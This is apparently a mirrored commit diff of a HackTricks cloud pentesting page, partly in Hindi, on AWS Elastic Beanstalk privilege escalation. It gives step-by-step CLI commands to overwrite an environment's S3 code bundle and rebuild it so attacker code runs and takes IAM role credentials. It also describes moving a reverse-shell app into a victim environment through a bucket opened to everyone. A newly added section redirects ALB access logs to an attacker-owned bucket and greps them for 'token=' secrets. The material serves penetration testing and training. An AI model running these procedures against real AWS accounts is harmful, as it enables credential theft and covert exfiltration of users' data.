mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+100
-15
@@ -4,18 +4,18 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Elastic Beanstalk के बारे में अधिक **जानकारी**:
|
||||
Elastic Beanstalk के बारे में अधिक **info**:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Beanstalk में संवेदनशील क्रियाएँ करने के लिए आपको कई अलग-अलग सेवाओं में बहुत सारी संवेदनशील **permissions** की आवश्यकता होगी। आप उदाहरण के लिए दिए गए permissions को चेक कर सकते हैं: **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
|
||||
> Beanstalk में sensitive actions perform करने के लिए आपको **बहुत सारे different services में बहुत सारी sensitive permissions** की जरूरत होगी। आप उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** द्वारा दी गई permissions देख सकते हैं
|
||||
|
||||
### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & कई अन्य
|
||||
### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others
|
||||
|
||||
S3 bucket पर जो environment का **code** रखता है उस पर **write permissions** और application को **rebuild** करने वाली permissions होने पर (इसके लिए `elasticbeanstalk:RebuildEnvironment` और `S3`, `EC2` और `Cloudformation` से संबंधित कुछ और permissions की आवश्यकता होती है), आप **code** को **modify** कर सकते हैं, app को **rebuild** कर सकते हैं और अगली बार जब आप app को access करेंगे तो यह आपका नया **code** **execute** करेगा, जिससे attacker application और उसके IAM role credentials को compromise कर पाएगा।
|
||||
**environment के code** वाले **S3 bucket** पर **write permissions** और application को **rebuild** करने की permissions के साथ (इसके लिए `elasticbeanstalk:RebuildEnvironment` और `S3` , `EC2` और `Cloudformation` से संबंधित कुछ और permissions चाहिए), आप **code को modify** कर सकते हैं, app को **rebuild** कर सकते हैं और अगली बार जब आप app access करेंगे तो यह आपका नया code **execute** करेगा, जिससे attacker application और उसके IAM role credentials को compromise कर सकेगा।
|
||||
```bash
|
||||
# Create folder
|
||||
mkdir elasticbeanstalk-eu-west-1-947247140022
|
||||
@@ -30,39 +30,39 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
|
||||
# Rebuild env
|
||||
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
|
||||
```
|
||||
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, और अन्य...
|
||||
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...
|
||||
|
||||
उल्लेखित के अलावा कई **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** और **`elasticloadbalancing`** अनुमतियाँ शून्य से एक मूल Elastic Beanstalk परिदृश्य बनाने के लिए आवश्यक हैं।
|
||||
उल्लिखित के साथ-साथ कई **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** और **`elasticloadbalancing`** permissions, शुरुआत से एक raw Elastic Beanstalk scenario बनाने के लिए आवश्यक हैं।
|
||||
|
||||
- AWS Elastic Beanstalk एप्लिकेशन बनाएँ:
|
||||
- एक AWS Elastic Beanstalk application बनाएं:
|
||||
```bash
|
||||
aws elasticbeanstalk create-application --application-name MyApp
|
||||
```
|
||||
- एक AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
|
||||
- एक AWS Elastic Beanstalk environment बनाएं ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
|
||||
```bash
|
||||
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
|
||||
```
|
||||
यदि एक environment पहले से मौजूद है और आप **नया नहीं बनाना चाहते**, तो आप मौजूद वाले को सिर्फ **अपडेट** कर सकते हैं।
|
||||
यदि एक environment पहले से ही बनाया जा चुका है और आप **एक नया बनाना नहीं चाहते**, तो आप बस मौजूदा one को **update** कर सकते हैं।
|
||||
|
||||
- अपने application code और dependencies को एक ZIP फ़ाइल में पैकेज करें:
|
||||
- अपनी application code और dependencies को एक ZIP file में package करें:
|
||||
```python
|
||||
zip -r MyApp.zip .
|
||||
```
|
||||
- S3 bucket में ZIP फ़ाइल अपलोड करें:
|
||||
- ZIP file को S3 bucket में upload करें:
|
||||
```python
|
||||
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
|
||||
```
|
||||
- एक AWS Elastic Beanstalk एप्लिकेशन संस्करण बनाएं:
|
||||
- एक AWS Elastic Beanstalk application version बनाएं:
|
||||
```css
|
||||
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
|
||||
```
|
||||
- अपने AWS Elastic Beanstalk environment पर एप्लिकेशन संस्करण तैनात करें:
|
||||
- अपने AWS Elastic Beanstalk environment में application version deploy करें:
|
||||
```bash
|
||||
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
|
||||
```
|
||||
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
|
||||
|
||||
सबसे पहले आपको एक **legit Beanstalk environment** बनाना होगा जिसमें वह **code** हो जिसे आप **victim** पर चलाना चाहते हैं, और यह **previous steps** का पालन करते हुए किया जाना चाहिए। संभवतः एक साधारण **zip** जिसमें ये **2 files** हों:
|
||||
सबसे पहले आपको **previous steps** का पालन करते हुए **victim** में **run** करने के लिए अपना **code** वाला एक **legit Beanstalk environment** बनाना होगा। संभावित रूप से इन **2 files** वाला एक साधारण **zip**:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="application.py" }}
|
||||
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
एक बार जब आपका **Beanstalk env अपना rev shell चला रहा हो**, तो इसे **victim के env** में **माइग्रेट** करने का समय है। ऐसा करने के लिए आपको अपने Beanstalk S3 bucket की **Bucket Policy को अपडेट** करना होगा ताकि **victim इसे एक्सेस कर सके** (ध्यान दें कि इससे Bucket **खुल जाएगा** और **EVERYONE** के लिए उपलब्ध हो जाएगा):
|
||||
एक बार जब आपका **अपना Beanstalk env** आपकी rev shell चला रहा हो, तो उसे **victims** env में **migrate** करने का समय है। ऐसा करने के लिए आपको अपने beanstalk S3 bucket की **Bucket Policy** को **update** करना होगा ताकि **victim इसे access कर सके** (ध्यान दें कि इससे Bucket **EVERYONE** के लिए **open** हो जाएगी):
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -162,4 +162,89 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
|
||||
|
||||
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
|
||||
```
|
||||
### `elasticbeanstalk:DescribeEnvironmentResources`, `elasticloadbalancing:ModifyLoadBalancerAttributes`, `s3:PutBucketPolicy`, `s3:ListBucket`, `s3:GetObject` to enable ALB access logs exfiltration
|
||||
|
||||
यदि कोई attacker किसी Elastic Beanstalk **web** environment को **enumerate** कर सकता है, उसे **update** कर सकता है, और साथ ही अपने स्वामित्व वाले किसी S3 bucket की policy को **control** कर सकता है, तो वह **ALB access logs** को enable करके और उन्हें उस bucket की ओर redirect करके **HTTP traffic exfiltrate** कर सकता है।
|
||||
|
||||
> [!NOTE]
|
||||
> इस technique के लिए यह भी ज़रूरी है कि destination bucket policy को **modify** करने की क्षमता हो, ताकि ALB log delivery service वहाँ logs लिख सके।
|
||||
|
||||
ALB log delivery service को वहाँ लिखने देने के लिए एक **attacker-controlled bucket** तैयार करें:
|
||||
```bash
|
||||
ENV_NAME=<environment-name>
|
||||
LOG_BUCKET=<attacker-bucket>
|
||||
LOG_PREFIX=<prefix>
|
||||
cat > /tmp/alb-log-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowALBLogDeliveryPut",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": [
|
||||
"logdelivery.elasticloadbalancing.amazonaws.com",
|
||||
"delivery.logs.amazonaws.com"
|
||||
]
|
||||
},
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowALBLogDeliveryAclCheck",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Service": [
|
||||
"logdelivery.elasticloadbalancing.amazonaws.com",
|
||||
"delivery.logs.amazonaws.com"
|
||||
]
|
||||
},
|
||||
"Action": [
|
||||
"s3:GetBucketAcl",
|
||||
"s3:ListBucket"
|
||||
],
|
||||
"Resource": "arn:aws:s3:::$LOG_BUCKET"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
|
||||
aws s3api put-bucket-policy \
|
||||
--bucket "$LOG_BUCKET" \
|
||||
--policy file:///tmp/alb-log-policy.json \
|
||||
--profile "$PROFILE"
|
||||
```
|
||||
फिर ALB access logs को enable करें:
|
||||
```bash
|
||||
aws elbv2 modify-load-balancer-attributes \
|
||||
--load-balancer-arn "$LB_ARN" \
|
||||
--attributes \
|
||||
Key=access_logs.s3.enabled,Value=true \
|
||||
Key=access_logs.s3.bucket,Value=$LOG_BUCKET \
|
||||
Key=access_logs.s3.prefix,Value=$LOG_PREFIX \
|
||||
--region us-east-1 \
|
||||
--profile "$PROFILE"
|
||||
```
|
||||
उसके बाद, ALB के logs को batch करके deliver करने के लिए wait करें:
|
||||
```bash
|
||||
aws s3 ls "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" --recursive --profile "$PROFILE"
|
||||
```
|
||||
अंत में, logs डाउनलोड करें और interesting query strings के लिए grep करें:
|
||||
```bash
|
||||
mkdir -p /tmp/lab2-logs
|
||||
aws s3 cp "s3://$LOG_BUCKET/$LOG_PREFIX/AWSLogs/$ACCOUNT_ID/" \
|
||||
/tmp/lab2-logs \
|
||||
--recursive \
|
||||
--profile "$PROFILE"
|
||||
|
||||
find /tmp/lab2-logs -name '*.gz' -print0 | xargs -0 zgrep -n 'token='
|
||||
```
|
||||
**request line** के अंदर ALB logs में **`?token=<FLAG>`** जैसे values हो सकते हैं यदि sensitive data URL में भेजा जा रहा हो।
|
||||
|
||||
**Impact**:
|
||||
|
||||
- attacker द्वारा नियंत्रित logging plane के through HTTP request metadata का continuous exfiltration
|
||||
- URL query string में मौजूद secrets का exposure
|
||||
- एक अधिक stealthy exfiltration path क्योंकि traffic legitimate application components द्वारा produce होता है और AWS-managed logging द्वारा export किया जाता है
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user